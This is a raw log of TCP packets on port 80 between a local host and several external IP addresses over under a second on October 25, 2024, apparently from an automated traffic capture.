Oct 25, 2024 11:18:13.354005098 CEST	80	52938	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:13.354065895 CEST	52938	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.355519056 CEST	52938	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.357419014 CEST	80	52925	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.358510971 CEST	52925	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.362308025 CEST	80	52938	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:13.383666992 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.383677959 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.383690119 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.383701086 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.383805990 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.384000063 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.384013891 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.384025097 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.384062052 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.384062052 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.384166002 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.384176970 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.384186983 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.384227037 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.388279915 CEST	80	52926	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:13.390429974 CEST	52926	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:13.390626907 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.390638113 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.390649080 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.390661001 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.390747070 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.390775919 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.415277004 CEST	52926	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:13.417334080 CEST	52939	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:13.420531988 CEST	80	52926	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:13.422782898 CEST	80	52939	13.248.169.48	192.168.2.5
Oct 25, 2024 11:18:13.426615953 CEST	52939	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:13.460011005 CEST	52939	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:13.465342045 CEST	80	52939	13.248.169.48	192.168.2.5
Oct 25, 2024 11:18:13.499568939 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.499634027 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.499644995 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.499687910 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.499699116 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.499710083 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.499722958 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.499743938 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.499763012 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.499927044 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.499965906 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.499977112 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.499985933 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.500005007 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.500014067 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.500436068 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.500447989 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.500459909 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.500472069 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.500489950 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.500513077 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.500525951 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.500555038 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.500571966 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.501322985 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.501334906 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.501346111 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.501385927 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.501416922 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.501430035 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.501477003 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.502259970 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.502276897 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.502286911 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.502298117 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.502309084 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.502315044 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.502335072 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.502350092 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.503151894 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.503196955 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.505043030 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.505100012 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.509929895 CEST	52925	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.510262966 CEST	52941	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.512732983 CEST	52927	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:13.514991999 CEST	80	52881	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:13.515080929 CEST	52881	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:13.515227079 CEST	80	52925	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.515520096 CEST	80	52941	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.515583038 CEST	52941	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.515719891 CEST	52941	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.516272068 CEST	80	52911	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:13.516346931 CEST	52911	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:13.518086910 CEST	80	52927	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:13.521312952 CEST	80	52941	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.538449049 CEST	80	52929	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:13.538762093 CEST	52929	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:13.560785055 CEST	52929	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:13.566103935 CEST	80	52929	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:13.575659990 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:13.581072092 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:13.581156015 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:13.581293106 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:13.586735010 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:13.601095915 CEST	80	52926	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:13.601155996 CEST	52926	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:13.616625071 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616672993 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616683006 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616744995 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.616766930 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616777897 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.616777897 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616791010 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616801023 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616806030 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.616812944 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616830111 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.616869926 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.616875887 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.616992950 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617007971 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617019892 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617031097 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617042065 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617048025 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.617063999 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.617082119 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.617407084 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617474079 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617486000 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617590904 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.617597103 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617608070 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617618084 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617630959 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617640018 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.617645979 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.617657900 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.617672920 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.617949009 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618012905 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618025064 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618046045 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.618076086 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.618158102 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618169069 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618179083 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618189096 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618201971 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618211031 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618273973 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.618290901 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.618681908 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618697882 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618709087 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618720055 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618733883 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618758917 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618767977 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618778944 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618788004 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.618788004 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.618805885 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.618819952 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.619390011 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619407892 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619419098 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619430065 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619441986 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619452000 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619463921 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619473934 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619484901 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.619489908 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.619507074 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.619540930 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.622276068 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.622287035 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.622383118 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.632179976 CEST	80	52931	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.632227898 CEST	52931	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.657615900 CEST	52931	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.660079002 CEST	80	52927	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:13.660157919 CEST	52927	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:13.662971020 CEST	80	52931	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.685878992 CEST	80	52931	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.685962915 CEST	52931	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.686014891 CEST	52931	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.686367989 CEST	52945	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.691278934 CEST	80	52931	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.691709995 CEST	80	52945	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.691777945 CEST	52945	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.691992044 CEST	52945	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:13.697957039 CEST	80	52945	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:13.705168009 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:13.705465078 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:13.710911036 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:13.710922956 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:13.711136103 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:13.711136103 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:13.716665983 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:13.730653048 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730676889 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730689049 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730746031 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730751038 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.730756044 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730772972 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730784893 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730786085 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.730796099 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730808020 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730813980 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.730818033 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.730837107 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.730855942 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.734527111 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734693050 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734719992 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734725952 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.734731913 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734744072 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734754086 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.734755039 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734766006 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734771013 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.734777927 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734786987 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.734787941 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734800100 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734801054 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.734812021 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734822989 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.734833002 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.734860897 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735029936 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735042095 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735052109 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735061884 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735071898 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735083103 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735094070 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735131025 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735141993 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735146999 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735152960 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735162020 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735166073 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735176086 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735178947 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735192060 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735193014 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735214949 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735270023 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735275984 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735285997 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735297918 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735307932 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735331059 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735352993 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735419989 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735430956 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735440969 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735451937 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735464096 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735480070 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735495090 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735503912 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735630035 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735641003 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735651970 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735663891 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735747099 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735761881 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735789061 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735800028 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735833883 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735877991 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735888004 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735899925 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735912085 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.735934019 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.735949993 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.736025095 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736037016 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736047029 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736071110 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.736099005 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.736109972 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736131907 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736149073 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736155033 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.736160040 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736174107 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736186028 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736186981 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.736196041 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736210108 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.736222982 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.736263037 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736274004 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736289978 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736301899 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.736366034 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.736394882 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.738549948 CEST	80	52932	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.738760948 CEST	52932	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.740293026 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740304947 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740315914 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740408897 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740432978 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740444899 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740454912 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740461111 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740466118 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740478039 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740480900 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740497112 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740504026 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740509987 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740516901 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740521908 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740534067 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740545988 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740557909 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740561008 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740576029 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740590096 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740597963 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740626097 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740807056 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740817070 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740828037 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740856886 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740859032 CEST	80	52918	23.227.38.74	192.168.2.5
